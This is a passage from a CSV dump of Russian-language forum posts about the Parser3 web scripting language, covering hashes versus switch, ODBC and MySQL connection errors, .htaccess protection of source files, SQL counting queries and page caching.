В результате, первый код выводит результат работы ^aboutlist[]\
а второй - не выводит ничего. Судя по доке, я вторым кодом только создал hash, а теперь мне его надо как-то вызвать. Но как правильно? И еще, если для работы, ко второму коду нужно дописывать еще хоть пару строк, то он получается длиннее первого. Тогда чем же в данном случае hash лучше switch ?"
"27537","Ну во-первых сразу бросается в глаза заморочка с \"0\" в первом случае и с _DEFAULT во-втором. Зачем, если 0 и DEFAULT это одно и тоже? \
Что касается вопроса: вам нужно прочитать в документации что такое hash. Прочитать какие методы для работы с хешем существуют. Прочитать что такое switch. И понять, что сравнивать эти вещи, мягко говоря, невозможно. Далее нужно прочитать про \"компиляцию и исполнение строки\" (hint: ^process). \
И ещё нужно запомнить, что не всегда лучше то, что \"короче\"."
"27538","Очень буду признателен, если подробнее. А то я только начал изучение. Пожалуйста."
"27539","нужна конструкция ^abouthash.$about[] или ^abouthash.$about[параметры_вызова_метода]"
"27540","[url=\"http://www.parser.ru/forum/?terms=%E8%F1%EF%EE%EB%FC%E7%EE%E2%E0%ED%E8%E5+odbc&search_in_message=1&author=PAF&doSearch=%CD%E0%E9%F2%E8\"]использование ODBC[/url]"
"27541","> И понять, что сравнивать эти вещи, мягко говоря, невозможно\
\
Вообще-то можно :) они в некоторых случаях взаимозаменяемы"
"27542","[code]\
$about[^if(def $form:about){$form:about}{0}]\
$abouthash[\
  $.aboutus{^aboutus[]}\
  $.adress{^adress[]}\
  $.comerc{^comerc[]}\
  $.0{^aboutlist[]}\
  $._DEFAULT{^aboutlist[]}\
]\
$abouthash.[$about]\
[/code]"
"27543","в каких случаях?"
"27544","т.е. в случае рализации многовариантного ветвления"
"27545","switch/case - это control flow операторы. оператор, которые изменяют ход выполнения кода.\
\
hash - это структура данных, и не более того.\
\
да, в некоторых случаях мы можем изменить алгоритм решения задачи так, чтобы использовать конструкции с hash вместо switch/case (как в рассматриваемом случае), но по моему говорить о их взаимозаменяемости не корректно."
"27546","только о некоторых частных случаях"
"27547","если в mod_rewirte у Вас стоит /index.html?$1 то должно быть в $request:query, \
\
если стоит /index.html?что-то=$1 то можно $form:что-то"
"27548","об этом написано в INSTALL"
"27549","Я так полагаю надо изменить до вот такого вида\
\
[code]\
$abouthash[\
  $.aboutus{^aboutus[]}\
  $.adress{^adress[]}\
  $.comerc{^comerc[]}\
  $._DEFAULT{^aboutlist[]}\
  ]\
# Собственно то из-за чего не работало\
# Вызываем результат работы\
$abouthash.{$about}\
[/code]\
ps: Я не проверял, возможны ошибки"
"27550","0 вместо _DEFAULT. В if ведь 0, если false"
"27551","Да, после прочтения доки понял, что погорячился с удалением двух строчек.\
Однако последню ,добавленную мной, строчку написать надо."
"27553","Сорьки я прочитал до того как ты исправил, а ответил как появилось время."
"27554","войдёт в 3.1.2"
"27555","Подскажите еще раз пожалуйста.\
'C:\\Program Files\\Apache Group\\Apache2\\cgi-bin/lib/parser3odbc.dll' can not open the module, can't open the module [<no type>] вот такое сообщение на  ^connect[odbc://DSN=USZN]{\
iuhbijni\
}\
что может быть настроено еще не так. Спасибо"
"27556","сделать можно. даже есть готовый кусок (MoKo в parser2 такое делал).\
\
однако практика показала, что это не нужно:\
SQL сервера прекрасно справляются со своей работой (про oracle молчу).\
\
если вам по какой-то причине работа с базами данных кажется [b]сложной[/b], или «ну её, пока мне файлов хватает».\
то попробуйте начать хотя бы с MS Access.\
там таблицы создаются визуальным редактором,\
запросы рисуются им же.\
\
стыковка с Parser тривиальна, в форуме уже подробно была расписана до кнопок и кликов.\
\
ограничение: работать будет на Win32. но будет и быстро разобраться. для начала = самое то."
"27557","если не сделать, то при наличии у веб-сервера псевдонимов, по-умолчанию, в $env:SERVER_NAME попадёт базовое название сервера, из директивы ServerName, а вовсе не то имя, что пользователь написал в адресной строке.\
\
переключить это в .htaccess нельзя. надо, чтобы админ настроил:\
http://httpd.apache.org/docs/mod/core.html#usecanonicalname\
\
есть $env:HTTP_HOST, там с портом, но админа просить не нужно :)"
"27558","и расскажите то, что там вас просят рассказать.\
отдельно обратите внимание на suexec."
"27559","если вам нужно, соберите ещё 10 таких же желающих,\
я сделаю.\
\
или сделайте сами/пришлите patch."
"27560","там нет ^memory:compact\
\
простой переход на версию поновее поможет даже без изменения алгоритма. но ненадолго :)\
\
приведите код? пооптимизируем вместе?"
"27561","это как раз неудивительно.\
поначалу часто не думают ни о памяти ни о быстродействии вообще.\
ещё не думают о времени. что будет с сайтом сейчас и что через год.\
\
вы подумали?"
"27563","> человек использует версию <3.1.1\
\
человек на самом деле не пишет что он использует, или я просто слепой."
"27564","если же вам нужен именно [b]до[/b], то\
0. это неправильно, потом вы сами не разберётесь что куда и зачем. если не стыдно, поделитесь задачей?\
\
1. можно rewrite-правилом самому себе его передать.\
2. есть $env:что_то_там_REDIRECT_что_то_там"
"27566","только между строк. в 3.1.1 такого сообщения об ошибке больше нет."
"27567","С одной страницы сайта (накладная) необходимо вазвать окно с выбором номенклатуры. После выбора это окно должно закрыться, а страница с которой это окно вызывалось должна обновиться.\
\
По типу как на этом форуме организована отправка сообщения"
"27568","Есть сайт, написанный на php+MySQL, сервер Apache под FreeBSD. Могу ли я установить парсер и попробовать создать несколько страничек с помощью парсера без ущерба для действующего сайта?"
"27569","примерно с месяц назад, экспериментируя с новой версией (3.1.2 бета) и со своим новым кодом, у меня вываливалось подобное, правда там дело было в непропатченом gdome. Или я опять неправ и мне все показалось?\
\
Если надо могу попробовать убрать компакты из некоторых мест кода, для того чтобы попробовать сэмулировать подобное."
"27570","Сейчас у меня стоит 600. файл принадлежит владельцу nobody группы nobody \
Apache работает от того же пользователя и группы\
\
В .htaccess записано:\
# назначение обработчиком .html страниц \
AddHandler parser3-handler html \
Action parser3-handler /cgi-bin/parser3 \
\
# запрет на доступ к .p файлам. основной: auto.p \
<Files ~ \"\\.p$\"> \
    Order allow,deny \
    Deny from all \
</Files> \
\
Parser исправно работает. Проблема в том, что любой пользователь может открыть www.site.ru/auto.p и узнать много интересного. Может, мне нужно поменять пользователя, от которого работает Apache? или права на auto.p (и другие .p)?\
\
Спасибочки за ответ."
"27572","3.1.2 бета пишет out of memory while expanding string, но насчет 3.1.1 я совсем не уверен :)"
"27573","по текущим исходникам отсутствует.\
\
то, что было у вас: просто падение из-за ошибки в одной из частей, составляющих parser."
"27574","можно будет прямо туда ссылки давать :)\
\
пока же все детали можно увидеть cvs клиентом."
"27575","но у вас в .htaccess написано \
[code]\
# запрет на доступ к .p файлам. основной: auto.p \
<Files ~ \"\\.p$\"> \
Order allow,deny \
Deny from all \
</Files> \
[/code]\
\
и пользователь получит 403 ошибку, если он не авторизован с точки зрения apache.\
\
если вам нужно \
1. стандартная авторизация\
2. отсутствие HTTP доступа к .p файлам\
\
то можно более сильную конструкцию написать.\
\
но сначала… попробуйте, действительно http://.../auto.p у вас выдаёт текст auto.p файла?"
"27576","Javascript'ом, у меня вот так:\
function reload_form() \
{ \
  window.opener.window.location.reload(); \
  window.opener.focus(); \
  window.close(); \
  return false; \
} \
Хотя оффтопик."
"27577","Вообще-то человек (то бишь я) как раз использую 311 версию. Как я уже запутался."
"27578","Хорошо, я притащю сюда код. Мне надо подумать какие части его взять, так он у меня расфасован в куче классов. И наверное опубликую в новой ветки форума. Или лучше здесь же?"
"27579",":)"
"27580","чтобы было ясно, что делается и, примерно, как."
"27581","Еще чего. Вы лучше знаете свой продукт. Вполне возможно что я запутался в номерах начиная от 300 и до 312."
"27582","и знаете, какая версия где стоит.\
неплохо бы, чтобы знали :)"
"27583","Хмм... сомневаюсь что это возможно, так как у меня целая система. И боюсь тормоза в основном не из-за плохого кода, а из-за плохой концепции.\
\
Вполне возможно что я ошибся в самом начале и не сумел использовать потенциал Парсера, а именно его особенность переопределять методы класса MAIN в каждом файле иерархии каталогов до вызываемого файла.\
\
Попробую описать суть того места, где и происходят тормозные процессы. Моя система есть прототип двигателя сайтов. В нем предусмотрена подсистема прав доступа к разделам. Меню разделов сайта на странице отрисовывается с учетом прав доступа к разделам. К примеру, если раздел закрыт на чтение, то в меню на него ссылка не появляется. В итоге, при отрисовке странице, где есть главное меню, меню текущего уровня, меню вспомогательное и карта сайта начинаются сбои (не хватает памяти) или просто медленно работает все. Плюс к этому добавляется то, что на странице кроме меню присутствут элементы, к которым тоже нужно определить права доступа на чтение."
"27584","и в ключевых местах с умом расставьте [code]^memory:compact[][/code]\
\
это поможет на какое-то время."
"27585","Что именно нужно перевести? Фаил библиотеки находится там же где и для MySQL.\
Параллельно MySQL работает. В чем может быть проблема? Спасибо"
"27586","По всей видимости ум появится лишь после того, как я этот вызов поставлю;) Ладно, буду дальше работать, напишу заплатки. Если что, то уже вместе с кодом сюда прийду."
"27587","\"там же где и для MySQL\" или \"C:\\Program Files\\Apache Group\\Apache2\\cgi-bin/lib/parser3odbc.dll\"?"
"27588","Он лежит C:\\Program Files\\Apache Group\\Apache2\\cgi-bin\\lib\\parser3odbc.dll как и C:\\Program Files\\Apache Group\\Apache2\\cgi-bin\\lib\\parser3mysql.dll"
"27589","1. на какой-то OS [win95?]\
система не понимает пути с '/'.\
поправьте ваш auto.p, чтобы там было\
[code]\
$sqldriversdir[$confdir\\lib]\
...\
...$sqldriversdir\\...\
[/code]\
\
2. что на вашей системе не хватает одного из этих файлов:\
[code]\
COMCTL32.dll\
ODBC32.dll\
OLEAUT32.dll\
WINSPOOL.DRV\
[/code]"
"27590","http://www.parser.ru/forum/?id=24992\
\
...и теперь, работая над новой версией, я решил это сделать.\
\
Поэтому и идет речь о взаимозаменяемости в данном случае. А с 0 и default я дейтвительно погорячился."
"27591","Скобки это конечно хорошо, но главное, в чем был вопрос, это:\
\
[code]\
$abouthash.[$about]\
[/code]"
"27592","при реализации примера из руководства с использованием базы данных MySQL получаю ошибку исполнения скрипта Premature end of script headers, причём в error_log написана ошибка GET [skip] 500 615. при работе без обращения к базам данных всё нормально обрабатывается.\
Вопросы\
1. Какие права должны быть у драйвера mySQL\
2. Как расшифровать ошибку 615\
3. Как проверить, может ли parser обращаться к базе данных?"
"27593","Вернее, я не стану утверждать, что Вы ошибаетесь в принципе, поскольку не особо разбираюсь в тонкостях апача, но в моем случае $request:uri выдает запрос так, как его ввел посетитель, ДО всяких преобразований.\
\
Заявляю это совершенно ответственно, специально только что проверил."
"27594","Дело в том что некоторые хостеры, пока не обновились DNS, дают доступ в виде именно таких адресов.\
Вопрос всплыл скорее из любопытства чем из практической необходимости."
"27595","http://www.parser.ru/f/1/download/utils/test.zip\
Поможет c пунктом 3"
"27596","Возник наверно совсем ламерский вопрос есть у парсера возможность заменить frame, если да, то чем?\
\
Спасибо."
"27597","пример http://www.spearance.ru/parser3/tree/"
"27598","это ж прямо дыра какая-то! \
\
У меня есть два подозрения:\
- что не работает .htaccess (а какие права нужны на него, чтобы действовал?) Хотя нет. Иначе бы парсер не был бы обработчиком html-файлов\
- что дело связано с тем, что Apache работает от пользователя nobody и файл auto.p тоже принадлежит nobody"
"27599","1. Перечитал статью (misha, в Примерах) о кешировании. Есть там такой фрагмент:\
> # когда заработает ^cache(0) внутри ^cache{} то этот кусок кода будет не нужен\
> ^if($MAIN:wrongCache && -f $cacheFile){\
> 	^file:delete[$cacheFile]\
> }\
\
Судя по примеру из документации...\
> Изменение времени хранения \
>\
> ^cache[/data/cache/test2](5){ \
>    по ходу работы вы выяснили, что страницу сохранять не нужно: \
>    ^cache(0) \
> } \
...такие времена настали. Может быть убрать этот фрагмент из примера, дабы не смущать честных людей?\
\
Кстати, там же упоминается misha's оператор ^location[] с таким вот комментарием:\
> # на самом деле тут надо сделать ^try{^cache(0)}{$exception.handled(1)} но эта конструкция пока не работает :(\
Смотрим в мишин lib.p (гран мерси, Misha!) и видим, что конструкция-то работает. \
Предложение аналогичное - убрать устаревшее. Или это фича такая? :-)\
\
2. Заодно и вопрос: как я понимаю, при обновлении контента или оформления страницы нужно \
старый кеш этой страницы удалить.\
Как это грамотнее организовать? Поделитесь опытом, please.\
\
Вообще, тут я что-то не понимаю, зачем выставлять в таблице срок \"протухания\" кеша,\
если критерием является не время жизни данного кеша, а факт обновления тела страницы?\
Пока страница неизменна - подсовываем посетителю \"прегенерированную\" страницу из кеша.\
Или я \"туплю\" где-то?\
\
(Была еще у меня версия, что иногда эффективнее заранее \"накешировать\" страниц после внесения изменений, \
но, поразмыслив, понял, что это \"иногда эффективнее\" случается крайне редко. \
Разве только, если делать такое \"превентивное кеширование\" в периоды сниженной нагрузки сервера...)."
"27600","я заниматься исправлением статьи мне лень. класс я выкладываю тот, что использую сам, а использую я его не всегда на самых последних версиях парсера, и мне нужна обратная совместимость, которая достигается в том числе и с помощью моих классов.\
\
так что кто не читает доку - никогда не узнают что появилось нового, но в мою цель и не входит написание красивого кода для подобных людей.\
\
а кто её читает - сам все для себя соптимизирует. можете рассматривать это как пример, не более того."
"27602","вы совершенно правы, я утверждал нечто, не проверив. голова/пепел.\
[code]\
$env:REDIRECT_URL\
$env:REDIRECT_QUERY_STRING\
[/code]\
дадут нужное. увы, это поведение уже используется в большом количестве мест, и поменять сейчас будет неразумным.\
\
и потом, этот $request:uri это просто $env:REQUEST_URI, как его даёт скрипту apache.\
\
объявляем это фичей."
"27603","это всего лишь количество отданных байт собственно сообщения об ошибке.\
\
разбираться нужно с ошибкой 500. почитайте FAQ внимательнее?"
"27604","«Чтобы проверить, обрабатывется ли у вас .htaccess …»"
"27605","2Eugene - про http://www.spearance.ru/parser3/tree/\
\
0. За \"Лабораторию тестов\" - спасибо!\
1. А \"Описание примера\" будет? :-)\
2. При ошибке 404 выдается: \
/home/spearance/htdocs/missing.html\
read failed: No such file or directory (2), actual filename '/home/spearance/htdocs/missing.html'\
Так задумано? ;-)"
"27607","Я скачал драйвер ODBC  и теперь вот такая ошибка \
odbc://****\
CDBException: Ошибка SQLSetConnectAttr драйвера\
D:/Sites/lessons/proga.html(1:2) \
connect D:/Sites/lessons/proga.html(1:2).\
Подскажите где что не так"
"27608","при создании dsn я снял флажок [x] use current directory.\
и указал каталог, где лежит test.dbf файлик.\
\
[code]\
^connect[odbc://dsn=test_dbf]{\
^int:sql{select count(*) from test}\
}\
[/code]\
\
вашы действия/код?"
"27609","а то, что парсер работал - так он был назначен в httpd.conf обработчиком. Туда же я сейчас записал и запрет на открытие .p файлов. И разрешил FileInfo у Override (хотя это уже получается излишек, ну может когда мне понадобится .htaccess - на будущее)"
"27610","\
^connect[odbc://dsn=uszn]{\
lsfdfljksdf\
}\
Галку снял указал каталог но ошибка осталась"
"27611","поправлюсь \
\
^connect[odbc://dsn=uszn]{\
lsfdfljksdf\
}"
"27612","если у нас\
[code]\
@aboutus[]\
наша компания занимает лидирующие позиции...\
[/code]\
то $abouthash.$about вернёт \"контекст\" без выполнения кода, а нам в данном случае большего и не нужно.\
Или я что-то неправильно понимаю (заранее извиняюсь, код на практике не проверял)."
"27613","нигде не написано что $abouthash.$about вернёт \"контекст\" без выполнения кода, как раз наоборот, при обращении к переменным, хранящим в себе junction, Parser выполняет код в сохраненном контексте.\
\
или значение ключа хэша не может хранить в себе \"код и контекст его выполнения\", а может хранить только \"[url=\"http://www.parser.ru/forum/?id=14317\"]ссылку на метод[/url]\"?\
\
вобщем, совсем я запутался, не обращайте внимания...  :)"
"27614","1. остаётся проверить сам драйвер, из какой-нибудь другой программы попробуйте обратиться к этому DSN?\
скажем, из excel или из msaccess.\
\
2. работает ли на соседней машине. какие между ними отличия?\
\
3. если в другой программе работает, а в parser нет, буду думать."
"27615","всегда приводит к исполнению кода.\
неважно, в hash он или где."
"27616","А как сделать, если провайдер отключил директивы deny, allow на своем сервере? Он рекомендует использовать\
\
RewriteEngine On\
RewriteRule (.p) http://host.to.redirect [R] \
\
Будет ли этого достаточно для защиты файлов *.p ?"
"27617","Добрый день!\
\
Уже освоил запросы типа и создание сайта немного сдвинулось в правильном направлении:\
$category_goods_count(^int:sql{SELECT COUNT(id) FROM price WHERE categoryid = '$category.id'}[$.default{0}]) (знаю что здесь дефулт можно не использовать :)\
\
Теперь задача посложнее:\
Нужно посчитать сколько фирм предлагают товары в данной категории.\
\
Есть три БД:\
price (здесь храним информацию о товарах)\
users (соответственно информацию о фирмах)\
category (информация о категориях каталога товаров)\
\
[cut from /classes/price.p]\
\
$price[^table::sql{select id, userid, name, categoryid, info, date, valid, cost1, cost2, img, storage, storage_date from price}]\
$users[^table::sql{select id, name from users}]\
$category[^table::sql{select id, name, parent_id from category}]\
\
[/cut]\
\
Делаю так:\
$category_company_count(^int:sql{SELECT COUNT(id) FROM users WHERE $price.categoryid = '$category.id' AND ... тут что-то}[$.default{0}])\
Может быть запрос вообще неправильно делаю, или нужно использовать что-то другое? Пожалуйста подскажите...\
\
Заранее спасибо за ответы."
"27619","что касаемо обновлений. То, на этапе разработки вам кеш не нужен - это естественно. \
На это есть условие при доступе с локального сервера, все выдается не из кеша. Кеш нужно выставлять разумный, а не на пару веков. Тогда и обновления будут видны скажем через пять минут. Поверьте 5 мин. это не критично, но при большой посещаемости сэкономит вам массу процессорного времени и памяти.\
Протухание, как вы выразились, страниц выставлено не зря. Действительно есть страницы, которые меняются редко. Для них можно и побольше время поставить. И поверьте, не везде фактор изменения страницы должен приводить к обновлению кеша.\
Вполне может возникнуть ситуация когда вы что-то правите, тут-же смотрите on-line, а в это время все смотрят кеш.\
\
По поводу удаления кеша. Вообще, по логике его не надо удалять. Напишите формочку которая будет менять время протухания на 0, а потом возвращать обратно. И будет вам счастье.\
\
В остальном Миша прав."
"27620","Я обычно это делаю так:\
\
Делаем запрос и запоминаем в переменной \
[code]\
$category_company_count[^int:sql{SELECT COUNT(id) FROM users WHERE $price.categoryid = '$category.id' AND ... тут что-то}[$.default{0}]]\
[/code]\
\
или вот так\
При каждом вызове переменной дклаем sql запрос(вдруг данные изменились или ещё что)\
[code]\
$category_company_count{^int:sql{SELECT COUNT(id) FROM users WHERE $price.categoryid = '$category.id' AND ... тут что-то}[$.default{0}]}\
[/code]\
\
И 3 вариант я использую в математических целях\
[code]\
$category_company_count(2+2)\
#разумеется это будет 4\
[/code]\
\
Также читай документацию: http://www.parser.ru/docs/lang/params.htm\
\
"
"27621","я просто неверно понял [url=\"http://www.parser.ru/forum/?id=27601\"]ваше замечание[/url] насчёт $hash.$key, разобрался, спасибо."
"27622","приведённая вами директива неточна"
"27623","Если честно я сам не пойму, потому что драйвер рабочий и мы пробовали подконнектится через этот же драйвер.\
И еще может натолкнет на что то. дело в том что запуская test.html вот такое выводится в табличках страницы теста парсера $sqldriversdir/parser3odbc.dll (относительный путь. проверка невозможна) причем на все DLL."
"27624","что до test.html, так это нормально."
"27625","ХМ так как же проверить?"
"27626","Вот и начались проблемы со вторым Парсером.\
Провайдер Валюехост на котором у меня мнго проектов сделанных на парсере 2 расширяется. В часности они поставили новые машины и собрали на них новые сервера. Теперь вновь зарегистрированные домены хостятся на этих машинах. И на этих машинах напрочь отказывается работать коннект к базе. Такая вот ошибка. \
[sql connect error: Lost connection to MySQL server during query] \
\
Админы разводят руками. Я терплю убытки. Что делать, господа? Помогите, пожалуйста."
"27627","тогда может быть проблема в выборе драйвера DSN? какой нужно выбирать, я выбираю  макрасофт dBase driver (*.dbf)."
"27628","При попытке отправить письмо получаю Unhandled Exception\
\
В логе читаю:\
[Wed Mar 17 17:04:20 2004] /index.html?contact: -body of process-(4:7): 'send' P\
arser was configured with --with-sendmail=/usr/sbin/sendmail -i -t -f postmaster\
 key, to change sendmail you should reconfigure and recompie it [parser.runtime]\
\
И что с этим делать? sendmail там и лежит - в /usr/sbin/sendmail и при командах с консоли работает.\
\
Проштудировал faq, форум - смотрю, у многих возникают подобные вопросы: почему бы не описать их человеческим языком? в общем, из форума я так ничего и не вынес\
почитал насчет сборки из исходников, только не понял, нужно ли мне это, ведь sendmail лежит там, где должен быть по умолчанию."
"27629","я предлагал тест (1), вы проверили?"
"27630","теоретически возможно, что это какие-то тонкости с mysql клиентом, который в parser2 был вкомпонован статически.\
\
[в частности поэтому сейчас в parser3mysql не компонуется mysqlclient, а используется внешняя libmysqlclient.so]\
\
однако это маловероятно. скорее всего это всё же ошибки в настройке MySQL сервера."
"27631","1. это бывает часто?\
2. у вас есть часть серверов на старом hosting, часть на новом? предлагаю упирать в общении на то, что вы используете один и тот же бинарный файл в двух местах, в одном работает в другом нет, и пусть поищут поактивнее проблему в mysql-сервере."
"27632","админы помогают пользователям. в меру сил. и согласно договору."
"27634","Мне не чего им противопоставить -- они упирают на то, что хостинг работает, база работает (php и perl -- коннектятся) -- а остальное, дескать, ваши проблемы.\
\
Действительно, на страых машинах всё ок. На новых не хочет работать. Может у Вас есть конкретные советы -- где и какие элементы в настройках mysql сервера могут порождать такую ошибку? Я передам их админам."
"27635","Я прочитал FAQ ещё до написания сюда и вроде бы сделал всё, как положено.. В FAQ по хостингу (hostonfly.net) прочитал, что доступа к логам они не дают, но, пользоатель может сам вести свои логи с помощью какого-то скрипта.. Ещё там же написано, что \"ошибка 500\" может возникать от нехватки ресурсов. Выдержка из FAQ:\
For your scripts running under web-server\
Cpu time (seconds)	3  \
File size (512-blocks)	unlimited\
Data seg size (kbytes)	4096\
Stack size (kbytes)	2048\
Core file size (512-blocks)	8192\
Max memory size (kbytes)	4096  \
Locked memory (kbytes)	2048\
Max user processes	16\
Open files	48    \
\
Достаточно ли этих ресурсов для 3-его парсера?.."
"27636","Там вот что стоит:\
mysql 4.0.15\
FreeBsd 4.8\
apache 1.3.27"
"27637","К сожалению, админы сами там ничего решить не смогут, по той причине, что все они школьники и студенты со стажем меньше одного года. Кто больше автоматически увольняется :) \
И им до фени, что у вас работает и что нет!\
\
Этим летом они неделю чинили почтовый сервер! Или вечно меняющаяся порты на БД...\
\
Советую перехоститься!"
"27638","Но работать с большим количеством данных, доставаемых из БД/текстовых файлов (начиная от примерно двух мегабайт), работать с большими картинками скорее всего не получится."
"27639","но упомянутые куски кода не удалял, т.к. люди могут захотеть использовать его со старыми парсерами"
"27640","Может быть это поможет. Все id-поля в таблице [b]price[/b] (price.id + price.userid + price.categoryid) очень желательно в индекс запихнуть. Написал конечно из головы, не проверял, но вроде правильно.\
\
[code]\
select count(users.id)\
from   users\
       inner join price on users.id=price.userid\
       inner join category on price.categoryid=category.id\
where  category.id=$category.id\
[/code]"
"27641","[code]\
$category_info[^hash::sql{\
	SELECT\
		categoryid,\
		COUNT(id) AS goods_cnt,\
		COUNT(userid) AS user_cnt\
	FROM\
		price\
	GROUP BY\
		categoryid\
}]\
[/code]\
\
делаете один упомянутый запрос, и в тот момент когда вы будете выводить свой список категорий просто показываете циферки из полученого хеша, я не делаете запросы в menu:\
[code]\
^category.menu{\
	<a href=\"./?catid=$category.id\">$category.name</a> (^category_info.[$category.id].goods_cnt.int(0) / ^category_info.[$category.id].users_cnt.int(0))\
}[<br />]\
[/code]\
\
это актуально если на одной странице вам нужно показать информацию по нескольким категориям. если на странице показывается информация только по одной категории то подобный огород с группировками не нужен. а вот индексы в любом случае будут очень полезны.\
\
P.S \"Есть три БД\" :) може все-таки есть три таблицы?"
"27642","Вот цитата из Руководства:\
> \"Крайне рекомендуется подключать модули (^use[...]) изнутри кода оператора cache, а не делать это статически (@USE). \
> По-возможности, работайте с базой данных (^connect[...]) таким же образом, вы существенно снизите нагрузку на ваш SQL сервер, и повысите производительность ваших сайтов.\"\
\
То есть надо так (использую классы Misha):\
@main[]\
^cache:my_cache{\
	^MAIN:pSQL.server{\
		^rem{Здесь содержимое страницы}\
	} \
}\
\
# Разъясните непонятливому, такой подход правилен \
# или все же кешируем \"внутри\" подключения к SQL-серверу?\
\
\
Смутила меня статья Misha из Примеров:\
> \"<html>\
> ^MAIN:pSQL.server{\
> ...\
> (у меня ^MAIN:SQL.server{} начинается в самом начале страницы и закрывается в самом конце)\"\
Думаю, это просто пример.\
\
# Да, вот еще: принципиально ли важно делать это внутри <html></html>?\
\
\
P.s. Понятнее будет, IMHO, написать в Руководстве (для таких умных, как я :-) так:\
\"По-возможности, работайте с базой данных (^connect[...]) изнутри кода оператора cache, ....\" \
[Спотыкаешься взглядом, что \"таким же образом\": делать это статически | изнутри кода ?]."
"27644","- все индексы в БД расставлены и пооптимизированы. EXPLAIN изучен\
- количество запросов минимизировано, достают запросы минимум данных\
- используемые в коде регулярные выражения пооптимизированы, лишних запоминающих скобок не содержат, где можно используются replace-ы\
- вместо locate используются hash-лукапы\
\
и есть только две вещи которые ещё неоптимизированы: один конект на страницу + подключение классов?\
\
если я прав, то да, действительно, стоит убрать их внурть ^cache[] чтобы быстрее достичь нирваны.\
\
если нет, и перечисленные выше пункты имеют место быть, то предлагаю забить на попытку соптимизировать один конект и подключаемые классы и посмотреть на упомянутые выше пункты. у mysql конект быстрый, а суммарный размер подключаемых класов наверняка не измеряется в мегабайтах, поэтому не надо пытаться экономить на спичках, когда можпо поэкономить на вагонах с бревнами."
"27645","зачем менять урл в строке броузера?\
\
да и на корень незачем рератить... наверное лучше на /403.html\
\
итого что-то типа:\
RewriteRule \\.p$ /403.html [L]\
\
а в ней родной посылаете начинающего хакера куда вашей душе угодно :)\
\
P.S. только по моему это использование rewrite не по назначению..."
"27646","Мне хотелось бы что бы сказали сколько стоит и как ко мне придет данная болванка!??!?!?!Хочу создать сайт и выставить свои работы. Вот так."
"27647","... типа я конечно понимаю, что вы дюже заняты и что дареному коню не смотрят и что поиск рулит...\
но все-таки освещайте, пожалуйста, вопросы быстродействия и оптимизации кода более подробно|доступно, желательно в документации (если руки дойдут, конечно).\
\
Вот кстати (а может и не кстати) - нет ли у студии Лебедева в планах ввести курсы по Парсеру. Или ководство углубленное издать. Типа Tips'n'Tricks...\
Вдруг надумаете - я бы купил такое ководство. И на курсы, буде таковые случатся, потратил бы с удовольствием 200-400 у.е. Хорошее капиталовложение, имхо.\
\
----\
Дм.Завьялов\
(http://www.dvdigital.ru)"
"27649","2Misha\
\
Выводит сколько товаров наличиствует в данной категории, но не выводит количество фирм, у которых в данной категории есть товар. Не могу понять =(\
\
p.s. это актуально если на одной странице вам нужно показать информацию по нескольким категориям. Да, категории более 20.\
\
p.s.s. конечно таблицы =)"
"27652","у вас ошибка, у них журнал ошибок, для устранения нужно посмотреть в журнал за возможными подробностями.\
\
вам необходима выдержка из него, приведите её?\
не дают доступ, попросите прислать строчку или что ещё рядом с ней полезного найдётся.\
\
FAQ читайте внимательнее, 99% проблем устранимы :)"
"27653","Ощибку подправил, но теперь результат следующий\
\
Category1   Goods 4   Firms 4\
Category2   Goods 2   Firms 2\
Category3   Goods 1   Firms 1\
\
При этом товаров в БД 7, что верно, а фирм всего 3. В первой категории кол-во фирм выводит 4, хотя их всего не более 3. Как я понимаю, нужно в user_cnt нужно делать проверку посчитана ли уже данная фирма уже или нет, как это сделать не соображу в жизни, ну не программер я, только учусь. Вопрос открытый =)\
\
Поправка: в одной конкретно взятой категории у каждой фирмы может быть несколько товаров, нужно узнать кол-во уникальных фирм в каждой категории"
"27654","если на других машинах того же hosting установлено [b]то же самое[/b] тех же версий, и parser совпадает.\
\
но там работает, а тут нет, то проблема не в parser.\
\
узнайте, возможно, на тех машинах, где у вас нет проблем, установлена сильно другая версия mysql?\
\
авторы mysql тщательно поддерживают обратную совместимость клиентского протокола уже давно. однако, всё возможно."
"27655","сядьте, подумайте, и приходите ещё раз со сложным вопросом.\
\
если вы пользуетесь SQL, подойдите к полке в книжном магазине и возьмите любую самую тонкую книжку по нему.\
\
вопрос закрыт."
"27656","по доллеру штука"
"27657","в том, что указано в методе @conf в конфигурационном файле auto.p (в папке cgi-bin), а в том, что я указал в auto.p (который на сайте):\
\
@auto[]\
$MAIL[\
   $.SMTP[localhost]\
]....\
\
для того, чтоб работало на локале, а потом не убрал. А ваша ссылка показала мне направление. Спасибо!"
"27658","вам мало книг? купите и прочтите книгу по SQL. сели люди, потратили усилия, чтобы всё разжевать. вы прочли [http://www.parser.ru/forum/?id=27653]?\
\
вопрос оптимизации сложный и не является темой документации по parser. этому нас учат классики, здравый смысл, и опыт."
"27659","Да наверно в доку надо добавить табличку для код-оптимизатора, где написать выше изложенное, и сопоставить массы, получаемые при оптимизации или коэффициенты.\
А ещё лично для Миши, может, имеет смысл все труды собрать в один файлик (я имею в виду описания и из этого описания сделать ссылки на соответствующие ссылки).\
И ещё может, имеет смысл переделать уроки под Мишины классы, не то чтобы это ускорит работу, сколько устранит существование двойных стандартов"
"27662","а вообще ежели человек 100-200 в месяц наберется, то уже будет существенная прибавка к бюджету :)."
"27663","...и идите в магазин за книжкой. мои советы на такие вопросы на этом заканчиваются."
"27665","Спасибо\
\
Непременно зайду на кафедру АСУ, там есть магазин книг, и куплю книгу потолще :)"
"27666","Можно ли узнать версию Parser непосредственно из кода, без запуска parser.cgi? Что-то типа $env:..."
"27667","www.sql.ru\\docs\\sql\\u_sql\\ch3.htm\
\
[cut]\
Рисунок 3. 4: SELECT с дублированием номеров продавцов. \
\
Для получения списка без дубликатов, для удобочитаемости, вы можете ввести следующее: \
 \
       SELECT DISTINCT snum \
          FROM Orders; \
\
Вывод для этого запроса показан в Рисунке 3.5. \
\
Другими словами, DISTINCT следит за тем, какие значения были ранее, так что бы они не были продублированы в списке. Это - полезный способ избежать избыточности данных, но важно что бы при этом вы понимали что вы делаете. Если вы не хотите потерять некоторые данные, вы не должны безоглядно использовать DISTINCT, потому что это может скрыть какую-то проблему или какие-то важные данные. Например, вы могли бы предположить что имена всех ваших заказчиков различны. Если кто-то помещает второго Clemens в таблицу Заказчиков, а вы используете SELECT DISTINCT cname, вы не будете даже знать о существовании двойника. Вы можете получить не того Clemens и даже не знать об этом. Так как вы не ожидаете избыточности, в этом случае вы не должны использовать DISTINCT. \
[/cut]"
"27668","возможно, в будущем добавлю такое.\
\
сейчас можно обойти, сделав \
[code]\
^try{\
